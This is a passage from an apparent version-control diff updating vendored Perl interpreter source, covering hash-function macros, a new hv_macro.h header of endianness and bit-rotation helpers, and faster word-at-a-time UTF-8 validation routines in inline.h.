   return (U32)(b & U32_MAX);                \
+}                                           \
+                                            \
+PERL_STATIC_INLINE U32                      \
+FNC (const unsigned char * const seed, const unsigned char *in, const STRLEN inlen) \
+{                                                                   \
+    U64 state[4];                                                   \
+    SIPHASH_SEED_STATE(seed,state[0],state[1],state[2],state[3]);   \
+    return FNC ## _with_state((U8*)state,in,inlen);                 \
 }
 
+
 PERL_SIPHASH_FNC(
     S_perl_hash_siphash_1_3
     ,SIPROUND;
@@ -250,154 +267,9 @@
     ,SIPROUND;SIPROUND;
     ,SIPROUND;SIPROUND;SIPROUND;SIPROUND;
 )
+#endif /* defined(CAN64BITHASH) */
 
-#endif /* defined(HAS_QUAD) */
 
-/* - ONE_AT_A_TIME_HARD is the 5.17+ recommend ONE_AT_A_TIME variant */
-
-/* This is derived from the "One-at-a-Time" algorithm by Bob Jenkins
- * from requirements by Colin Plumb.
- * (http://burtleburtle.net/bob/hash/doobs.html)
- * Modified by Yves Orton to increase security for Perl 5.17 and later.
- */
-PERL_STATIC_INLINE U32
-S_perl_hash_one_at_a_time_hard(const unsigned char * const seed, const unsigned char *str, const STRLEN len) {
-    const unsigned char * const end = (const unsigned char *)str + len;
-    U32 hash = *((const U32*)seed) + (U32)len;
-    
-    while (str < end) {
-        hash += (hash << 10);
-        hash ^= (hash >> 6);
-        hash += *str++;
-    }
-    
-    hash += (hash << 10);
-    hash ^= (hash >> 6);
-    hash += seed[4];
-    
-    hash += (hash << 10);
-    hash ^= (hash >> 6);
-    hash += seed[5];
-    
-    hash += (hash << 10);
-    hash ^= (hash >> 6);
-    hash += seed[6];
-    
-    hash += (hash << 10);
-    hash ^= (hash >> 6);
-    hash += seed[7];
-    
-    hash += (hash << 10);
-    hash ^= (hash >> 6);
-
-    hash += (hash << 3);
-    hash ^= (hash >> 11);
-    return (hash + (hash << 15));
-}
-
-#ifdef HAS_QUAD
-
-/* Hybrid hash function
- *
- * For short strings, 16 bytes or shorter, we use an optimised variant
- * of One At A Time Hard, and for longer strings, we use siphash_1_3.
- *
- * The optimisation of One At A Time Hard means we read the key in
- * reverse from normal, but by doing so we avoid the loop overhead.
- */
-PERL_STATIC_INLINE U32
-S_perl_hash_oaathu_siphash_1_3(const unsigned char * const seed, const unsigned char *str, const STRLEN len) {
-    U32 hash = *((const U32*)seed) + (U32)len;
-    switch (len) {
-        case 16:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[15];
-        case 15:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[14];
-        case 14:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[13];
-        case 13:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[12];
-        case 12:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[11];
-        case 11:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[10];
-        case 10:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[9];
-        case 9:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[8];
-        case 8:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[7];
-        case 7:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[6];
-        case 6:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[5];
-        case 5:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[4];
-        case 4:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[3];
-        case 3:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[2];
-        case 2:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[1];
-        case 1:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += str[0];
-        case 0:
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += seed[4];
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += seed[5];
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += seed[6];
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-            hash += seed[7];
-            hash += (hash << 10);
-            hash ^= (hash >> 6);
-
-            hash += (hash << 3);
-            hash ^= (hash >> 11);
-            return (hash + (hash << 15));
-    }
-    return S_perl_hash_siphash_1_3(seed+8, str, len);
-}
-#endif /* defined(HAS_QUAD) */
-
-
 #endif /*compile once*/
 
 /*

Added: vendor/perl/dist/hv_macro.h
===================================================================
--- vendor/perl/dist/hv_macro.h	                        (rev 0)
+++ vendor/perl/dist/hv_macro.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,81 @@
+#ifndef PERL_SEEN_HV_MACRO_H /* compile once */
+#define PERL_SEEN_HV_MACRO_H
+
+#if IVSIZE == 8
+#define CAN64BITHASH
+#endif
+
+/*-----------------------------------------------------------------------------
+ * Endianess, misalignment capabilities and util macros
+ *
+ * The following 3 macros are defined in this section. The other macros defined
+ * are only needed to help derive these 3.
+ *
+ * U8TO16_LE(x)   Read a little endian unsigned 32-bit int
+ * U8TO32_LE(x)   Read a little endian unsigned 32-bit int
+ * U8TO28_LE(x)   Read a little endian unsigned 32-bit int
+ * ROTL32(x,r)      Rotate x left by r bits
+ * ROTL64(x,r)      Rotate x left by r bits
+ * ROTR32(x,r)      Rotate x right by r bits
+ * ROTR64(x,r)      Rotate x right by r bits
+ */
+
+#ifndef U32_ALIGNMENT_REQUIRED
+  #if (BYTEORDER == 0x1234 || BYTEORDER == 0x12345678)
+    #define U8TO16_LE(ptr)   (*((const U16*)(ptr)))
+    #define U8TO32_LE(ptr)   (*((const U32*)(ptr)))
+    #define U8TO64_LE(ptr)   (*((const U64*)(ptr)))
+  #elif (BYTEORDER == 0x4321 || BYTEORDER == 0x87654321)
+    #if defined(__GNUC__) && (__GNUC__>4 || (__GNUC__==4 && __GNUC_MINOR__>=3))
+      #define U8TO16_LE(ptr)   (__builtin_bswap16(*((U16*)(ptr))))
+      #define U8TO32_LE(ptr)   (__builtin_bswap32(*((U32*)(ptr))))
+      #define U8TO64_LE(ptr)   (__builtin_bswap64(*((U64*)(ptr))))
+    #endif
+  #endif
+#endif
+
+#ifndef U8TO16_LE
+    /* Without a known fast bswap32 we're just as well off doing this */
+  #define U8TO16_LE(ptr)   ((U32)(ptr)[0]|(U32)(ptr)[1]<<8)
+  #define U8TO32_LE(ptr)   ((U32)(ptr)[0]|(U32)(ptr)[1]<<8|(U32)(ptr)[2]<<16|(U32)(ptr)[3]<<24)
+  #define U8TO64_LE(ptr)   ((U64)(ptr)[0]|(U64)(ptr)[1]<<8|(U64)(ptr)[2]<<16|(U64)(ptr)[3]<<24|\
+                            (U64)(ptr)[4]<<32|(U64)(ptr)[5]<<40|\
+                            (U64)(ptr)[6]<<48|(U64)(ptr)[7]<<56)
+#endif
+
+#ifdef CAN64BITHASH
+  #ifndef U64TYPE
+  /* This probably isn't going to work, but failing with a compiler error due to
+   lack of uint64_t is no worse than failing right now with an #error.  */
+  #define U64 uint64_t
+  #endif
+#endif
+
+/* Find best way to ROTL32/ROTL64 */
+#if defined(_MSC_VER)
+  #include <stdlib.h>  /* Microsoft put _rotl declaration in here */
+  #define ROTL32(x,r)  _rotl(x,r)
+  #define ROTR32(x,r)  _rotr(x,r)
+  #define ROTL64(x,r)  _rotl64(x,r)
+  #define ROTR64(x,r)  _rotr64(x,r)
+#else
+  /* gcc recognises this code and generates a rotate instruction for CPUs with one */
+  #define ROTL32(x,r)  (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r))))
+  #define ROTR32(x,r)  (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r)))
+  #define ROTL64(x,r)  ( ( (U64)(x) << (r) ) | ( (U64)(x) >> ( 64 - (r) ) ) )
+  #define ROTR64(x,r)  ( ( (U64)(x) << ( 64 - (r) ) ) | ( (U64)(x) >> (r) ) )
+#endif
+
+
+#ifdef UV_IS_QUAD
+#define ROTL_UV(x,r) ROTL64(x,r)
+#define ROTR_UV(x,r) ROTL64(x,r)
+#else
+#define ROTL_UV(x,r) ROTL32(x,r)
+#define ROTR_UV(x,r) ROTR32(x,r)
+#endif
+#if IVSIZE == 8
+#define CAN64BITHASH
+#endif
+
+#endif

Modified: vendor/perl/dist/inline.h
===================================================================
--- vendor/perl/dist/inline.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/inline.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -153,8 +153,10 @@
 PERL_STATIC_INLINE struct regexp *
 S_ReANY(const REGEXP * const re)
 {
+    XPV* const p = (XPV*)SvANY(re);
     assert(isREGEXP(re));
-    return re->sv_u.svu_rx;
+    return SvTYPE(re) == SVt_PVLV ? p->xpv_len_u.xpvlenu_rx
+                                   : (struct regexp *)p;
 }
 
 /* ------------------------------- sv.h ------------------------------- */
@@ -242,17 +244,13 @@
 /* ------------------------------- handy.h ------------------------------- */
 
 /* saves machine code for a common noreturn idiom typically used in Newx*() */
-#ifdef GCC_DIAG_PRAGMA
-GCC_DIAG_IGNORE(-Wunused-function) /* Intentionally left semicolonless. */
-#endif
+GCC_DIAG_IGNORE_DECL(-Wunused-function);
 static void
 S_croak_memory_wrap(void)
 {
     Perl_croak_nocontext("%s",PL_memory_wrap);
 }
-#ifdef GCC_DIAG_PRAGMA
-GCC_DIAG_RESTORE /* Intentionally left semicolonless. */
-#endif
+GCC_DIAG_RESTORE_DECL;
 
 /* ------------------------------- utf8.h ------------------------------- */
 
@@ -353,25 +351,329 @@
 C<L</is_c9strict_utf8_string_loclen>>.
 
 =cut
+
 */
 
+#define is_utf8_invariant_string(s, len)                                    \
+                                is_utf8_invariant_string_loc(s, len, NULL)
+
+/*
+=for apidoc is_utf8_invariant_string_loc
+
+Like C<L</is_utf8_invariant_string>> but upon failure, stores the location of
+the first UTF-8 variant character in the C<ep> pointer; if all characters are
+UTF-8 invariant, this function does not change the contents of C<*ep>.
+
+=cut
+
+*/
+
 PERL_STATIC_INLINE bool
-S_is_utf8_invariant_string(const U8* const s, const STRLEN len)
+S_is_utf8_invariant_string_loc(const U8* const s, STRLEN len, const U8 ** ep)
 {
-    const U8* const send = s + (len ? len : strlen((const char *)s));
+    const U8* send;
     const U8* x = s;
 
-    PERL_ARGS_ASSERT_IS_UTF8_INVARIANT_STRING;
+    PERL_ARGS_ASSERT_IS_UTF8_INVARIANT_STRING_LOC;
 
-    for (; x < send; ++x) {
-	if (!UTF8_IS_INVARIANT(*x))
-	    return FALSE;
+    if (len == 0) {
+        len = strlen((const char *)s);
     }
 
+    send = s + len;
+
+/* This looks like 0x010101... */
+#  define PERL_COUNT_MULTIPLIER   (~ (UINTMAX_C(0)) / 0xFF)
+
+/* This looks like 0x808080... */
+#  define PERL_VARIANTS_WORD_MASK (PERL_COUNT_MULTIPLIER * 0x80)
+#  define PERL_WORDSIZE            sizeof(PERL_UINTMAX_T)
+#  define PERL_WORD_BOUNDARY_MASK (PERL_WORDSIZE - 1)
+
+/* Evaluates to 0 if 'x' is at a word boundary; otherwise evaluates to 1, by
+ * or'ing together the lowest bits of 'x'.  Hopefully the final term gets
+ * optimized out completely on a 32-bit system, and its mask gets optimized out
+ * on a 64-bit system */
+#  define PERL_IS_SUBWORD_ADDR(x) (1 & (       PTR2nat(x)                     \
+                                      |   (  PTR2nat(x) >> 1)                 \
+                                      | ( ( (PTR2nat(x)                       \
+                                           & PERL_WORD_BOUNDARY_MASK) >> 2))))
+
+#ifndef EBCDIC
+
+    /* Do the word-at-a-time iff there is at least one usable full word.  That
+     * means that after advancing to a word boundary, there still is at least a
+     * full word left.  The number of bytes needed to advance is 'wordsize -
+     * offset' unless offset is 0. */
+    if ((STRLEN) (send - x) >= PERL_WORDSIZE
+
+                            /* This term is wordsize if subword; 0 if not */
+                          + PERL_WORDSIZE * PERL_IS_SUBWORD_ADDR(x)
+
+                            /* 'offset' */
+                          - (PTR2nat(x) & PERL_WORD_BOUNDARY_MASK))
+    {
+
+        /* Process per-byte until reach word boundary.  XXX This loop could be
+         * eliminated if we knew that this platform had fast unaligned reads */
+        while (PTR2nat(x) & PERL_WORD_BOUNDARY_MASK) {
+            if (! UTF8_IS_INVARIANT(*x)) {
+                if (ep) {
+                    *ep = x;
+                }
+
+                return FALSE;
+            }
+            x++;
+        }
+
+        /* Here, we know we have at least one full word to process.  Process
+         * per-word as long as we have at least a full word left */
+        do {
+            if ((* (PERL_UINTMAX_T *) x) & PERL_VARIANTS_WORD_MASK)  {
+
+                /* Found a variant.  Just return if caller doesn't want its
+                 * exact position */
+                if (! ep) {
+                    return FALSE;
+                }
+
+#  if   BYTEORDER == 0x1234 || BYTEORDER == 0x12345678    \
+     || BYTEORDER == 0x4321 || BYTEORDER == 0x87654321
+
+                *ep = x + _variant_byte_number(* (PERL_UINTMAX_T *) x);
+                assert(*ep >= s && *ep < send);
+
+                return FALSE;
+
+#  else   /* If weird byte order, drop into next loop to do byte-at-a-time
+           checks. */
+
+                break;
+#  endif
+            }
+
+            x += PERL_WORDSIZE;
+
+        } while (x + PERL_WORDSIZE <= send);
+    }
+
+#endif      /* End of ! EBCDIC */
+
+    /* Process per-byte */
+    while (x < send) {
+	if (! UTF8_IS_INVARIANT(*x)) {
+            if (ep) {
+                *ep = x;
+            }
+
+            return FALSE;
+        }
+
+        x++;
+    }
+
     return TRUE;
 }
 
+#ifndef EBCDIC
+
+PERL_STATIC_INLINE unsigned int
+S__variant_byte_number(PERL_UINTMAX_T word)
+{
+
+    /* This returns the position in a word (0..7) of the first variant byte in
+     * it.  This is a helper function.  Note that there are no branches */
+
+    assert(word);
+
+    /* Get just the msb bits of each byte */
+    word &= PERL_VARIANTS_WORD_MASK;
+
+#  ifdef USING_MSVC6    /* VC6 has some issues with the normal code, and the
+                           easiest thing is to hide that from the callers */
+    {
+        unsigned int i;
+        const U8 * s = (U8 *) &word;
+        dTHX;
+
+        for (i = 0; i < sizeof(word); i++ ) {
+            if (s[i]) {
+                return i;
+            }
+        }
+
+        Perl_croak(aTHX_ "panic: %s: %d: unexpected zero word\n",
+                                 __FILE__, __LINE__);
+    }
+
+#  elif BYTEORDER == 0x1234 || BYTEORDER == 0x12345678
+
+    /* Bytes are stored like
+     *  Byte8 ... Byte2 Byte1
+     *  63..56...15...8 7...0
+     *
+     *  Isolate the lsb;
+     * https://stackoverflow.com/questions/757059/position-of-least-significant-bit-that-is-set
+     *
+     * The word will look this this, with a rightmost set bit in position 's':
+     * ('x's are don't cares)
+     *      s
+     *  x..x100..0
+     *  x..xx10..0      Right shift (rightmost 0 is shifted off)
+     *  x..xx01..1      Subtract 1, turns all the trailing zeros into 1's and
+     *                  the 1 just to their left into a 0; the remainder is
+     *                  untouched
+     *  0..0011..1      The xor with x..xx10..0 clears that remainder, sets
+     *                  bottom to all 1
+     *  0..0100..0      Add 1 to clear the word except for the bit in 's'
+     *
+     * Another method is to do 'word &= -word'; but it generates a compiler
+     * message on some platforms about taking the negative of an unsigned */
+
+    word >>= 1;
+    word = 1 + (word ^ (word - 1));
+
+#  elif BYTEORDER == 0x4321 || BYTEORDER == 0x87654321
+
+    /* Bytes are stored like
+     *  Byte1 Byte2  ... Byte8
+     * 63..56 55..47 ... 7...0
+     *
+     * Isolate the msb; http://codeforces.com/blog/entry/10330
+     *
+     * Only the most significant set bit matters.  Or'ing word with its right
+     * shift of 1 makes that bit and the next one to its right both 1.  Then
+     * right shifting by 2 makes for 4 1-bits in a row. ...  We end with the
+     * msb and all to the right being 1. */
+    word |= word >>  1;
+    word |= word >>  2;
+    word |= word >>  4;
+    word |= word >>  8;
+    word |= word >> 16;
+    word |= word >> 32;  /* This should get optimized out on 32-bit systems. */
+
+    /* Then subtracting the right shift by 1 clears all but the left-most of
+     * the 1 bits, which is our desired result */
+    word -= (word >> 1);
+
+#  else
+#    error Unexpected byte order
+#  endif
+
+    /* Here 'word' has a single bit set: the  msb of the first byte in which it
+     * is set.  Calculate that position in the word.  We can use this
+     * specialized solution: https://stackoverflow.com/a/32339674/1626653,
+     * assumes an 8-bit byte.  (On a 32-bit machine, the larger numbers should
+     * just get shifted off at compile time) */
+    word = (word >> 7) * ((UINTMAX_C( 7) << 56) | (UINTMAX_C(15) << 48)
+                        | (UINTMAX_C(23) << 40) | (UINTMAX_C(31) << 32)
+                        |           (39 <<  24) |           (47 <<  16)
+                        |           (55 <<   8) |           (63 <<   0));
+    word >>= PERL_WORDSIZE * 7; /* >> by either 56 or 24 */
+
+    /* Here, word contains the position 7..63 of that bit.  Convert to 0..7 */
+    word = ((word + 1) >> 3) - 1;
+
+#  if BYTEORDER == 0x4321 || BYTEORDER == 0x87654321
+
+    /* And invert the result */
+    word = CHARBITS - word - 1;
+
+#  endif
+
+    return (unsigned int) word;
+}
+
+#endif
+#if defined(PERL_CORE) || defined(PERL_EXT)
+
 /*
+=for apidoc variant_under_utf8_count
+
+This function looks at the sequence of bytes between C<s> and C<e>, which are
+assumed to be encoded in ASCII/Latin1, and returns how many of them would
+change should the string be translated into UTF-8.  Due to the nature of UTF-8,
+each of these would occupy two bytes instead of the single one in the input
+string.  Thus, this function returns the precise number of bytes the string
+would expand by when translated to UTF-8.
+
+Unlike most of the other functions that have C<utf8> in their name, the input
+to this function is NOT a UTF-8-encoded string.  The function name is slightly
+I<odd> to emphasize this.
+
+This function is internal to Perl because khw thinks that any XS code that
+would want this is probably operating too close to the internals.  Presenting a
+valid use case could change that.
+
+See also
+C<L<perlapi/is_utf8_invariant_string>>
+and
+C<L<perlapi/is_utf8_invariant_string_loc>>,
+
+=cut
+
+*/
+
+PERL_STATIC_INLINE Size_t
+S_variant_under_utf8_count(const U8* const s, const U8* const e)
+{
+    const U8* x = s;
+    Size_t count = 0;
+
+    PERL_ARGS_ASSERT_VARIANT_UNDER_UTF8_COUNT;
+
+#  ifndef EBCDIC
+
+    /* Test if the string is long enough to use word-at-a-time.  (Logic is the
+     * same as for is_utf8_invariant_string()) */
+    if ((STRLEN) (e - x) >= PERL_WORDSIZE
+                          + PERL_WORDSIZE * PERL_IS_SUBWORD_ADDR(x)
+                          - (PTR2nat(x) & PERL_WORD_BOUNDARY_MASK))
+    {
+
+        /* Process per-byte until reach word boundary.  XXX This loop could be
+         * eliminated if we knew that this platform had fast unaligned reads */
+        while (PTR2nat(x) & PERL_WORD_BOUNDARY_MASK) {
+            count += ! UTF8_IS_INVARIANT(*x++);
+        }
+
+        /* Process per-word as long as we have at least a full word left */
+        do {    /* Commit 03c1e4ab1d6ee9062fb3f94b0ba31db6698724b1 contains an
+                   explanation of how this works */
+            PERL_UINTMAX_T increment
+                = ((((* (PERL_UINTMAX_T *) x) & PERL_VARIANTS_WORD_MASK) >> 7)
+                      * PERL_COUNT_MULTIPLIER)
+                    >> ((PERL_WORDSIZE - 1) * CHARBITS);
+            count += (Size_t) increment;
+            x += PERL_WORDSIZE;
+        } while (x + PERL_WORDSIZE <= e);
+    }
+
+#  endif
+
+    /* Process per-byte */
+    while (x < e) {
+	if (! UTF8_IS_INVARIANT(*x)) {
+            count++;
+        }
+
+        x++;
+    }
+
+    return count;
+}
+
+#endif
+
+#ifndef PERL_IN_REGEXEC_C   /* Keep  these around for that file */
+#  undef PERL_WORDSIZE
+#  undef PERL_COUNT_MULTIPLIER
+#  undef PERL_WORD_BOUNDARY_MASK
+#  undef PERL_VARIANTS_WORD_MASK
+#endif
+
+/*
 =for apidoc is_utf8_string
 
 Returns TRUE if the first C<len> bytes of string C<s> form a valid
@@ -388,6 +690,7 @@
 
 See also
 C<L</is_utf8_invariant_string>>,
+C<L</is_utf8_invariant_string_loc>>,
 C<L</is_utf8_string_loc>>,
 C<L</is_utf8_string_loclen>>,
 C<L</is_utf8_fixed_width_buf_flags>>,
@@ -397,28 +700,53 @@
 =cut
 */
 
+#define is_utf8_string(s, len)  is_utf8_string_loclen(s, len, NULL, NULL)
+
+#if defined(PERL_CORE) || defined (PERL_EXT)
+
+/*
+=for apidoc is_utf8_non_invariant_string
+
+Returns TRUE if L<perlapi/is_utf8_invariant_string> returns FALSE for the first
+C<len> bytes of the string C<s>, but they are, nonetheless, legal Perl-extended
+UTF-8; otherwise returns FALSE.
+
+A TRUE return means that at least one code point represented by the sequence
+either is a wide character not representable as a single byte, or the
+representation differs depending on whether the sequence is encoded in UTF-8 or
+not.
+
+See also
+C<L<perlapi/is_utf8_invariant_string>>,
+C<L<perlapi/is_utf8_string>>
+
+=cut
+
+This is commonly used to determine if a SV's UTF-8 flag should be turned on.
+It generally needn't be if its string is entirely UTF-8 invariant, and it
+shouldn't be if it otherwise contains invalid UTF-8.
+
+It is an internal function because khw thinks that XS code shouldn't be working
+at this low a level.  A valid use case could change that.
+
+*/
+
 PERL_STATIC_INLINE bool
-Perl_is_utf8_string(const U8 *s, const STRLEN len)
+S_is_utf8_non_invariant_string(const U8* const s, STRLEN len)
 {
-    /* This is now marked pure in embed.fnc, because isUTF8_CHAR now is pure.
-     * Be aware of possible changes to that */
+    const U8 * first_variant;
 
-    const U8* const send = s + (len ? len : strlen((const char *)s));
-    const U8* x = s;
+    PERL_ARGS_ASSERT_IS_UTF8_NON_INVARIANT_STRING;
 
-    PERL_ARGS_ASSERT_IS_UTF8_STRING;
-
-    while (x < send) {
-        const STRLEN cur_len = isUTF8_CHAR(x, send);
-        if (UNLIKELY(! cur_len)) {
-            return FALSE;
-        }
-        x += cur_len;
+    if (is_utf8_invariant_string_loc(s, len, &first_variant)) {
+        return FALSE;
     }
 
-    return TRUE;
+    return is_utf8_string(first_variant, len - (first_variant - s));
 }
 
+#endif
+
 /*
 =for apidoc is_strict_utf8_string
 
@@ -435,6 +763,7 @@
 
 See also
 C<L</is_utf8_invariant_string>>,
+C<L</is_utf8_invariant_string_loc>>,
 C<L</is_utf8_string>>,
 C<L</is_utf8_string_flags>>,
 C<L</is_utf8_string_loc>>,
@@ -454,25 +783,8 @@
 =cut
 */
 
-PERL_STATIC_INLINE bool
-S_is_strict_utf8_string(const U8 *s, const STRLEN len)
-{
-    const U8* const send = s + (len ? len : strlen((const char *)s));
-    const U8* x = s;
+#define is_strict_utf8_string(s, len)  is_strict_utf8_string_loclen(s, len, NULL, NULL)
 
-    PERL_ARGS_ASSERT_IS_STRICT_UTF8_STRING;
-
-    while (x < send) {
-        const STRLEN cur_len = isSTRICT_UTF8_CHAR(x, send);
-        if (UNLIKELY(! cur_len)) {
-            return FALSE;
-        }
-        x += cur_len;
-    }
-
-    return TRUE;
-}
-
 /*
 =for apidoc is_c9strict_utf8_string
 
@@ -491,6 +803,7 @@
 
 See also
 C<L</is_utf8_invariant_string>>,
+C<L</is_utf8_invariant_string_loc>>,
 C<L</is_utf8_string>>,
 C<L</is_utf8_string_flags>>,
 C<L</is_utf8_string_loc>>,
@@ -510,29 +823,8 @@
 =cut
 */
 
-PERL_STATIC_INLINE bool
-S_is_c9strict_utf8_string(const U8 *s, const STRLEN len)
-{
-    const U8* const send = s + (len ? len : strlen((const char *)s));
-    const U8* x = s;
+#define is_c9strict_utf8_string(s, len)  is_c9strict_utf8_string_loclen(s, len, NULL, 0)
 
-    PERL_ARGS_ASSERT_IS_C9STRICT_UTF8_STRING;
-
-    while (x < send) {
-        const STRLEN cur_len = isC9_STRICT_UTF8_CHAR(x, send);
-        if (UNLIKELY(! cur_len)) {
-            return FALSE;
-        }
-        x += cur_len;
-    }
-
-    return TRUE;
-}
-
-/* The above 3 functions could have been moved into the more general one just
- * below, and made #defines that call it with the right 'flags'.  They are
- * currently kept separate to increase their chances of getting inlined */
-
 /*
 =for apidoc is_utf8_string_flags
 
@@ -553,6 +845,7 @@
 
 See also
 C<L</is_utf8_invariant_string>>,
+C<L</is_utf8_invariant_string_loc>>,
 C<L</is_utf8_string>>,
 C<L</is_utf8_string_loc>>,
 C<L</is_utf8_string_loc_flags>>,
@@ -573,37 +866,45 @@
 */
 
 PERL_STATIC_INLINE bool
-S_is_utf8_string_flags(const U8 *s, const STRLEN len, const U32 flags)
+S_is_utf8_string_flags(const U8 *s, STRLEN len, const U32 flags)
 {
-    const U8* const send = s + (len ? len : strlen((const char *)s));
-    const U8* x = s;
+    const U8 * first_variant;
 
     PERL_ARGS_ASSERT_IS_UTF8_STRING_FLAGS;
     assert(0 == (flags & ~(UTF8_DISALLOW_ILLEGAL_INTERCHANGE
-                          |UTF8_DISALLOW_ABOVE_31_BIT)));
+                          |UTF8_DISALLOW_PERL_EXTENDED)));
 
+    if (len == 0) {
+        len = strlen((const char *)s);
+    }
+
     if (flags == 0) {
         return is_utf8_string(s, len);
     }
 
-    if ((flags & ~UTF8_DISALLOW_ABOVE_31_BIT)
+    if ((flags & ~UTF8_DISALLOW_PERL_EXTENDED)
                                         == UTF8_DISALLOW_ILLEGAL_INTERCHANGE)
     {
         return is_strict_utf8_string(s, len);
     }
 
-    if ((flags & ~UTF8_DISALLOW_ABOVE_31_BIT)
+    if ((flags & ~UTF8_DISALLOW_PERL_EXTENDED)
                                        == UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE)
     {
         return is_c9strict_utf8_string(s, len);
     }
 
-    while (x < send) {
-        STRLEN cur_len = isUTF8_CHAR_flags(x, send, flags);
-        if (UNLIKELY(! cur_len)) {
-            return FALSE;
+    if (! is_utf8_invariant_string_loc(s, len, &first_variant)) {
+        const U8* const send = s + len;
+        const U8* x = first_variant;
+
+        while (x < send) {
+            STRLEN cur_len = isUTF8_CHAR_flags(x, send, flags);
+            if (UNLIKELY(! cur_len)) {
+                return FALSE;
+            }
+            x += cur_len;
         }
-        x += cur_len;
     }
 
     return TRUE;
@@ -639,31 +940,50 @@
 */
 
 PERL_STATIC_INLINE bool
-Perl_is_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el)
+Perl_is_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el)
 {
-    const U8* const send = s + (len ? len : strlen((const char *)s));
-    const U8* x = s;
-    STRLEN outlen = 0;
+    const U8 * first_variant;
 
     PERL_ARGS_ASSERT_IS_UTF8_STRING_LOCLEN;
 
-    while (x < send) {
-        const STRLEN cur_len = isUTF8_CHAR(x, send);
-        if (UNLIKELY(! cur_len)) {
-            break;
+    if (len == 0) {
+        len = strlen((const char *) s);
+    }
+
+    if (is_utf8_invariant_string_loc(s, len, &first_variant)) {
+        if (el)
+            *el = len;
+
+        if (ep) {
+            *ep = s + len;
         }
-        x += cur_len;
-        outlen++;
+
+        return TRUE;
     }
 
-    if (el)
-        *el = outlen;
+    {
+        const U8* const send = s + len;
+        const U8* x = first_variant;
+        STRLEN outlen = first_variant - s;
 
-    if (ep) {
-        *ep = x;
+        while (x < send) {
+            const STRLEN cur_len = isUTF8_CHAR(x, send);
+            if (UNLIKELY(! cur_len)) {
+                break;
+            }
+            x += cur_len;
+            outlen++;
+        }
+
+        if (el)
+            *el = outlen;
+
+        if (ep) {
+            *ep = x;
+        }
+
+        return (x == send);
     }
-
-    return (x == send);
 }
 
 /*
@@ -697,31 +1017,50 @@
 */
 
 PERL_STATIC_INLINE bool
-S_is_strict_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el)
+S_is_strict_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el)
 {
-    const U8* const send = s + (len ? len : strlen((const char *)s));
-    const U8* x = s;
-    STRLEN outlen = 0;
+    const U8 * first_variant;
 
     PERL_ARGS_ASSERT_IS_STRICT_UTF8_STRING_LOCLEN;
 
-    while (x < send) {
-        const STRLEN cur_len = isSTRICT_UTF8_CHAR(x, send);
-        if (UNLIKELY(! cur_len)) {
-            break;
+    if (len == 0) {
+        len = strlen((const char *) s);
+    }
+
+    if (is_utf8_invariant_string_loc(s, len, &first_variant)) {
+        if (el)
+            *el = len;
+
+        if (ep) {
+            *ep = s + len;
         }
-        x += cur_len;
-        outlen++;
+
+        return TRUE;
     }
 
-    if (el)
-        *el = outlen;
+    {
+        const U8* const send = s + len;
+        const U8* x = first_variant;
+        STRLEN outlen = first_variant - s;
 
-    if (ep) {
-        *ep = x;
+        while (x < send) {
+            const STRLEN cur_len = isSTRICT_UTF8_CHAR(x, send);
+            if (UNLIKELY(! cur_len)) {
+                break;
+            }
+            x += cur_len;
+            outlen++;
+        }
+
+        if (el)
+            *el = outlen;
+
+        if (ep) {
+            *ep = x;
+        }
+
+        return (x == send);
     }
-
-    return (x == send);
 }
 
 /*
@@ -755,31 +1094,50 @@
 */
 
 PERL_STATIC_INLINE bool
-S_is_c9strict_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el)
+S_is_c9strict_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el)
 {
-    const U8* const send = s + (len ? len : strlen((const char *)s));
-    const U8* x = s;
-    STRLEN outlen = 0;
+    const U8 * first_variant;
 
     PERL_ARGS_ASSERT_IS_C9STRICT_UTF8_STRING_LOCLEN;
 
-    while (x < send) {
-        const STRLEN cur_len = isC9_STRICT_UTF8_CHAR(x, send);
-        if (UNLIKELY(! cur_len)) {
-            break;
+    if (len == 0) {
+        len = strlen((const char *) s);
+    }
+
+    if (is_utf8_invariant_string_loc(s, len, &first_variant)) {
+        if (el)
+            *el = len;
+
+        if (ep) {
+            *ep = s + len;
         }
-        x += cur_len;
-        outlen++;
+
+        return TRUE;
     }
 
-    if (el)
-        *el = outlen;
+    {
+        const U8* const send = s + len;
+        const U8* x = first_variant;
+        STRLEN outlen = first_variant - s;
 
-    if (ep) {
-        *ep = x;
+        while (x < send) {
+            const STRLEN cur_len = isC9_STRICT_UTF8_CHAR(x, send);
+            if (UNLIKELY(! cur_len)) {
+                break;
+            }
+            x += cur_len;
+            outlen++;
+        }
+
